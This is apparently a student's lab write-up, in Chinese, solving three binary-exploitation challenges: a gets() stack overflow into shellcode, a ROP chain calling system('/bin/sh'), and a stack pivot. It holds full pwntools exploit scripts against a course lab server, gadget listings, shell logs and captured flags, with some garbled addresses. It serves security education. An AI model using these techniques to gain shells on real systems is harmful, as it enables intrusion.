

栈上缓冲区溢出

发现危险函数gets(), 我们利用这个函数将返回地址覆盖到shellcode即可。

```
int main(int argc, char **argv)
{
    char buffer[LENGTH];

    prepare();
    printf("gift address: %p\n", buffer);
    gets(buffer);
    return 0;
}
```

```
1  from pwn import *
2
3  context.log_level = 'DEBUG' # set debug logging
4  context.arch = "amd64"
5
6  # p = process("./sbof2")
7
8  p = remote("8.154.20.109", 10100)
9  p.recvuntil(b"Please input your StudentID:\n")
10 p.sendline(b"3220103544")
11 p.recvuntil(b"gift address: ")
12 buffer_address = int(p.recvline().strip(), 16)
13
14 payload = b""
15 payload += b"a" * 0x108
16 payload += p64(buffer_address+0x110)
17 payload += asm(shellcraft.sh())
18
19
20 p.sendline(payload)
21 p.interactive()
22
```

```
python
00000120  68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a |hri·4$|·Vj|
00000130  08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 |·^H·VH·1j|X·|
00000140  0a                                     |·|
00000141
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x3a bytes:
b'app\n'
b'bin\n'
b'dev\n'
b'entry\n'
b'flag.exe\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libexec\n'
b'libx32\n'
app
bin
dev
entry
flag.exe
lib
lib32
lib64
libexec
libx32
$
```



Return-Oriented-Programming

1

首先，我们检查一下程序的安全保护，源程序为 64 位，开启了 NX 保护。

```
> checksec rop2
[*] '/home/tauh/ssec24fall-stu/lab-01/rop/rop2'
Arch:          amd64-64-little
RELRO:         Partial RELRO
Stack:         Canary found
NX:            NX enabled
PIE:           No PIE (0x400000)
Stripped:      No
```

使用 IDA 反编译以确定漏洞位置：可以利用read函数栈溢出。

```
IDA View-A Pseudocode-A Hex View-1
1 int64 func()
2 {
3     int v0; // edx
4     int v1; // ecx
5     int v2; // er8
6     int v3; // er9
7     char v5[76]; // [rsp+0h] [rbp-50h] BYREF
8     unsigned int v6; // [rsp+4Ch] [rbp-4h] BYREF
9
10    puts("[*] Please input the length of data:");
11    _isoc99_scanf((unsigned int)"%d", (unsigned int)&v6, v0, v1, v2, v3, v5[0]);
12    puts("[*] Please input the data:");
13    return read(0, v5, v6);
14 }
```

利用 ropgadget，我们可以看看有没有 '/bin/sh', 'ret', 'pop rdi' 等字符串或gadget存在，发现存在则记录地址。

```
python
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[*] Got EOF while reading in interactive
$ l
[DEBUG] Sent 0x2 bytes:
b'l\n'
$ ss
[DEBUG] Sent 0x3 bytes:
b'ss\n'
[*] Closed connection to 8.154.20.109 port 10101
[*] Got EOF while sending in interactive
> ROPgadget --binary rop2 | grep "pop rdi"
0x0000000000400b4 : adc byte ptr [rsi + 0xf], ah ; outsd dx, dword ptr [rsi] ; pop rdi ; and byte ptr [rsi + 0xf], ah ;
out dx, eax ; jmp 0x67b31028
0x0000000000402d4 : adc byte ptr [rsi + 0xf], ah ; outsd dx, dword ptr [rsi] ; pop rdi ; and byte ptr [rsi + 0xf], ah ;
out dx, eax ; jmp 0x67b31248
0x0000000000404ab : add al, ch ; pop rdi ; ja 0x44a4ab ; jmp qword ptr [rsi + 0x2e]
0x000000000040ceb6b : add al, ch ; test dword ptr [rax], eax ; add al, dl ; pop rdi ; sti ; jmp qword ptr [rbp + 0x18]
0x000000000040ceb6f : add al, dl ; pop rdi ; sti ; jmp qword ptr [rbp + 0x18]
0x0000000000404a9 : add byte ptr [rax], al ; add al, ch ; pop rdi ; ja 0x44a4ab ; jmp qword ptr [rsi + 0x2e]
0x000000000040cc4ca : add byte ptr [rax], al ; pop rdi ; add byte ptr [rax], al ; nop ; retf 0xffff8
0x000000000040a9135 : add byte ptr [rcx - 0x73], cl ; pop rdi ; add dword ptr [rax + 0x39], ecx ; jmp 0x4a914d
0x000000000040a9133 : add eax, dword ptr [rax] ; add byte ptr [rcx - 0x73], cl ; pop rdi ; add dword ptr [rax + 0x39], ec
x ; jmp 0x4a914d
0x000000000040c2673 : and al, al ; pop rdi ; jnp 0x4c26ce ; jmp 0x4c262e
0x00000000004015d0 : cld ; pop rdi ; je 0x40158a ; jmp 0x401545
0x000000000040c2671 : fcmovnb st(0), st(2) ; and al, al ; pop rdi ; jnp 0x4c26ce ; jmp 0x4c262e
0x000000000040ae19e : idiv edi ; pop rdi ; jmp 0x4ae19a
```

拿到了这些gadget，我们可以构造 payload

攻击代码如下：

```
1 from pwn import *
2
3 context.log_level = 'DEBUG' # set debug logging
4 context.arch = 'amd64'
```

```

5 # p = process("./rop2")
6 p = remote("8.154.20.109", 10101)
7 binary = ELF("./rop2")
8 rop = ROP(binary)
9 p.recvuntil(b"Please input your StudentID:\n")
10 p.sendline(b"3220103544")
11
12 ret_addr = 0x00444a40
13 bin_sh_addr = 0x006d50f0
14 pop_rdi_addr = 0x00400716
15
16
17 payload = b''
18 payload += b"A" * 0x58
19 payload += p64(pop_rdi_addr) # pop rdi ; ret
20 payload += p64(bin_sh_addr) # @ .data
21 payload += p64(ret_addr)
22 payload += p64(binary.sym["system"])
23
24 p.sendlineafter(b"[*] Please input the length of data:\n", str(len(payload)))
25 p.sendlineafter(b"[*] Please input the data:\n", payload)
26
27 p.interactive()

```

```

python
00000360 88 e2 96 88 e2 95 91 20 20 e2 96 88 e2 96 88 e2 95 91 20 20
00000370 95 91 20 20 20 e2 96 88 e2 96 88 e2 95 91 20 20
00000380 20 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88
00000390 e2 96 88 e2 96 88 e2 95 91 0a e2 95 9a e2 95 90
000003a0 e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2 95 9d 20
000003b0 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2
000003c0 95 90 e2 95 9d 20 e2 95 9a e2 95 90 e2 95 9d 20
000003d0 20 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 9d
000003e0 20 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 9d
000003f0 e2 95 90 e2 95 9d 20 e2 95 9a e2 95 90 e2 95 9d
00000400 20 20 e2 95 9a e2 95 90 e2 95 9d e2 95 9a e2 95
00000410 90 e2 95 9d 20 20 e2 95 9a e2 95 90 e2 95 9d 20
00000420 20 20 e2 95 9a e2 95 90 e2 95 9d 20 20 20 e2 90
00000430 9a e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2 95 90
00000440 e2 95 90 e2 95 9d 20 0a 5b 20 74 69 6d 65 73 74
00000450 61 6d 70 20 5d 20 54 75 65 20 4f 63 74 20 32 32
00000460 20 31 34 3a 33 33 3a 32 39 20 32 30 32 34 0a 59
00000470 6f 75 20 66 6c 61 67 3a 20 73 73 65 63 32 30 32
00000480 33 7b 72 30 70 5f 62 41 73 31 63 5f 62 69 4e 61
00000490 72 59 7c 32 31 32 63 65 38 33 34 7d 0a
0000049d

[ timestamp ] Tue Oct 22 14:33:29 2024
You flag: ssec2023{r0p_bAs1c_biNarY|212ce834}
$

```

拿到flag: ssec2023{r0p_bAs1c_biNarY|212ce834}

首先，我们检查一下程序的安全保护，源程序为 64 位，开启了 NX 保护。

```
> checksec rop3
[!] Could not populate PLT: Invalid argument (UC_ERR_ARG)
[*] '/home/tauh/ssec24fall-stu/lab-01/rop/rop3'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
```

利用 ropgadget，我们可以看看有没有 '/bin/sh', 'ret', 'pop rdi' 等字符串或 gadget 存在，发现存在则记录地址。但这题并没有包含 "/bin/sh" 等重要字符串，我们需要做栈迁移。将 rbp 覆盖为 gbuffer，ret_addr 覆盖为 leave; ret，把栈迁到 gbuffer 上。

```
> ROPgadget --binary rop3 --string '/bin/sh'
Strings information
=====
> ROPgadget --binary rop3 | grep "pop rdi"
0x000000000000400823 : pop rdi ; ret
```

攻击代码如下：

```
1  from pwn import *
2
3  context.log_level = 'DEBUG' # set debug logging
4  context.arch = 'amd64'
5  REMOTE = True
6  if REMOTE:
7      p = remote('8.154.20.109', 10102)
8  else:
9      p = process('./rop3')
10
11  binary = ELF("./rop2")
12  rop = ROP(binary)
13  p.recvuntil(b"Please input your StudentID:\n")
14  p.sendline(b"3220103544")
15  p.recvuntil(b"gift system address: ")
16
17  system_addr = int(p.recv(8).strip(), 16)
18  ret_addr = 0x00400586
```



```

19 pop_rdi_addr = 0x00400823
20 gbuffer = 0x006020A0
21 leave_ret=0x00400700
22
23 payload = b"A" * 8
24 payload += p64(pop_rdi_addr)
25 payload += p64(gbuffer + 5 * 8)
26 payload += p64(ret_addr)
27 payload += p64(system_addr)
28 payload += b"/bin/sh\x00"
29
30 p.sendlineafter(b"\n", payload)
31
32
33 payload = b""
34 payload += b"A" * 0x40
35 payload += p64(gbuffer)
36 payload += p64(leave_ret)
37 p.sendlineafter(b">", payload)
38
39
40 p.interactive()

```

```

python
00000360 88 e2 96 88 e2 95 91 20 20 e2 96 88 e2 96 88 e2 .....
00000370 95 91 20 20 20 e2 96 88 e2 96 88 e2 95 91 20 20 ..
00000380 20 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 .....
00000390 e2 96 88 e2 96 88 e2 95 91 0a e2 95 9a e2 95 90 .....
000003a0 e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2 95 9d 20 .....
000003b0 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2 .....
000003c0 95 90 e2 95 9d 20 e2 95 9a e2 95 90 e2 95 9d 20 .....
000003d0 20 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 9d .....
000003e0 20 e2 95 9a e2 95 90 e2 95 90 e2 95 90 e2 95 90 .....
000003f0 e2 95 90 e2 95 9d 20 e2 95 9a e2 95 90 e2 95 9d .....
00000400 20 20 e2 95 9a e2 95 90 e2 95 9d e2 95 9a e2 95 .....
00000410 90 e2 95 9d 20 20 e2 95 9a e2 95 90 e2 95 9d 20 .....
00000420 20 20 e2 95 9a e2 95 90 e2 95 9d 20 20 20 e2 95 .....
00000430 9a e2 95 90 e2 95 90 e2 95 90 e2 95 90 e2 95 90 .....
00000440 e2 95 90 e2 95 9d 20 0a 5b 20 74 69 6d 65 73 74 ..... [ ti mest
00000450 61 6d 70 20 5d 20 54 75 65 20 4f 63 74 20 32 32 amp ] Tu e Oc t 22
00000460 20 31 35 3a 30 33 3a 33 36 20 32 30 32 34 0a 59 15: 03:3 6 20 24 Y
00000470 6f 75 20 66 6c 61 67 3a 20 73 73 65 63 32 30 32 ou f lag: sse c202
00000480 33 7b 72 30 70 5f 31 52 69 56 69 34 4c 5f 70 31 3{r0 p_1R iVi4 L_pl
00000490 76 30 74 7c 31 35 34 65 30 66 37 36 7d 0a v0t| 154e 0f76 }-|
0000049e

CONGRATS
[ timestamp ] Tue Oct 22 15:03:36 2024
You flag: ssec2023{r0p_1RiVi4L_p1v0t|154e0f76}
$

```

flag: ssec2023{r0p_1RiVi4L_p1v0t|154e0f76}